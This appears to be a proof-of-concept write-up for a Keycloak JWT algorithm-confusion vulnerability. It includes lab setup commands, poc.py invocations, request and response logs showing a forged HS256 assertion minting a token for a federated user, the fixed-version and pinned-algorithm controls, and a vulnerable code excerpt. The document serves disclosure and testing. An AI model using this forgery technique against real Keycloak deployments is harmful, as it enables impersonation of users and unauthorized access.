
Proof-of-concept for CVE-2026-11800: forges HS256 JWT assertions using Keycloak's IdP RSA public key DER bytes to mint tokens for federated users, with vulnerable/fixed lab.
Algorithm confusion in Keycloak's JWT Authorization Grant flow (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer).
When a federated identity provider is configured with a hardcoded public key (useJwksUrl=false)
and no assertion algorithm is pinned (jwtAuthorizationGrantAssertionSignatureAlg unset, the
default), the signature-algorithm validator accepts whatever alg the assertion header claims,
and the hardcoded-key loader carries an HMAC branch that turns the configured public-key string
into an OCT secret key. An attacker who holds valid client credentials and knows the IdP's RSA
public key - public material by definition - signs an assertion with HS256 keyed with the RSA
public key's DER bytes; the server loads those same bytes as the HMAC verification key, the
signature checks out, and Keycloak mints a valid access token for any federated user of that
IdP. No private key is involved anywhere. Fixed in 26.6.4 by rejecting symmetric algorithms in
JWT public-key validators and removing the HMAC branch (PR #50374).
Bring up both targets (vulnerable 26.6.3 on :8081, fixed 26.6.4 on :8082):
docker compose -p cve-2026-11800 up -d
Wait for both to become ready, then run the PoC against the vulnerable instance:
python3 poc.py --url http://127.0.0.1:8081 --admin-user admin --admin-password kcPocAdmin2026
and the fixed control:
python3 poc.py --url http://127.0.0.1:8082 --admin-user admin --admin-password kcPocAdmin2026
--url base URL of the target Keycloak. --admin-user/--admin-password the bootstrap admin
(KC_BOOTSTRAP_ADMIN_USERNAME/KC_BOOTSTRAP_ADMIN_PASSWORD above); poc.py provisions its own
test-realm via the Admin REST API (realm delete + create, so reruns are idempotent).
--pin-alg RS256 additionally sets jwtAuthorizationGrantAssertionSignatureAlg on the IdP -
the vendor mitigation, which must reject the same forged assertion even on a vulnerable build.
If the lab host's kernel cannot mount overlayfs (docker pull/save still work but
run/build fail), setup/boot-lab.sh replays the identical image bits instead:
setup/boot-lab.sh # unpacks quay images and boots both servers via proot
setup/unpack-images.py does the whiteout-aware layer merge; see its header for details.
Vulnerable 26.6.3 (evidence/01-trigger-vuln-26.6.3.log, raw capture; long base64 values
elided here for readability, full values are in the evidence file):
[*] TARGET: http://127.0.0.1:8081
[*] RSA public key generated: 294 DER SubjectPublicKeyInfo bytes
[*] HMAC secret = those 294 public DER bytes (base64 of them goes into the IdP config)
[*] provisioned realm test-realm: IdP authorization-grant-idp-alias (hardcoded public key, grant enabled, assertion alg NOT pinned), client test-app, federated user basic-user (id 90f09889-f912-40d3-abf8-0a7b017a214d, IdP subject basic-user-id)
[*] RAW REQUEST: POST http://127.0.0.1:8081/realms/test-realm/protocol/openid-connect/token
[*] grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer client_id=test-app assertion(alg=HS256, sub=basic-user-id, aud=http://127.0.0.1:8081/realms/test-realm)
[*] forged assertion: eyJhbG[...]
[*] RESPONSE STATUS: 200
[*] RESPONSE BODY: {"access_token": "eyJhbG[...]", "expires_in": 300, "refresh_expires_in": 0, "token_type": "Bearer", "not-before-policy": 0, "scope": "email profile"}
[*] MINTED TOKEN preferred_username: basic-user
[*] MINTED TOKEN sub: 90f09889-f912-40d3-abf8-0a7b017a214d azp: test-app iss: http://127.0.0.1:8081/realms/test-realm
[+] VULNERABLE: forged HS256 assertion ACCEPTED - access token minted for the federated user 'basic-user' without any private key.
The minted token's preferred_username is basic-user - the federated user linked to the
IdP with IdP-side subject basic-user-id - proving the impersonation, not just a signature
bypass. Exit code 0 = vulnerable.
Fixed 26.6.4, identical provisioning and identical forged assertion
(evidence/02-control-fixed-26.6.4.log):
[*] RESPONSE STATUS: 400
[*] RESPONSE BODY: {"error": "invalid_grant", "error_description": "Invalid signature algorithm"}
[-] NOT VULNERABLE: forged HS256 assertion rejected - invalid_grant: Invalid signature algorithm
The version differential is the control: the same script, the same provisioning recipe, the
same forged assertion - accepted on 26.6.3, rejected on 26.6.4. A second control pins the
assertion algorithm on the vulnerable build (evidence/03-mitigation-pin-alg-vuln-26.6.3.log):
26.6.3 with jwtAuthorizationGrantAssertionSignatureAlg=RS256 also rejects the HS256
assertion with the same 400, which is the documented mitigation for installs that cannot
upgrade immediately.
Three pieces line up on 26.6.3:
No expected algorithm means no algorithm check. The grant's assertion validation
bottoms out in AbstractBaseJWTValidator.validateSignatureAlgorithm(String expected),
reached through JWTAuthorizationGrantType.process ->
JWTAuthorizationGrantValidator -> JWTAuthorizationGrantIdentityProvider.verifySignature.
The vulnerable method only rejects an assertion whose alg header differs from the
configured expected algorithm - and for the JWT authorization grant the expected algorithm
is jwtAuthorizationGrantAssertionSignatureAlg, which is unset by default
(getAssertionSignatureAlg() returns null). With no configured expectation the comparison
is skipped and every algorithm name passes, including symmetric HS256/HS384/HS512.
The hardcoded-key loader happily builds an HMAC key. With useJwksUrl=false the
verification key is produced by HardcodedPublicKeyLoader, whose constructor dispatches
on the algorithm from the token header:
} else if (JavaAlgorithm.isHMACJavaAlgorithm(algorithm)) {
keyWrapper.setType(KeyType.OCT);
keyWrapper.setSecretKey(KeyUtils.loadSecretKey(Base64Url.decode(encodedKey), algorithm));
}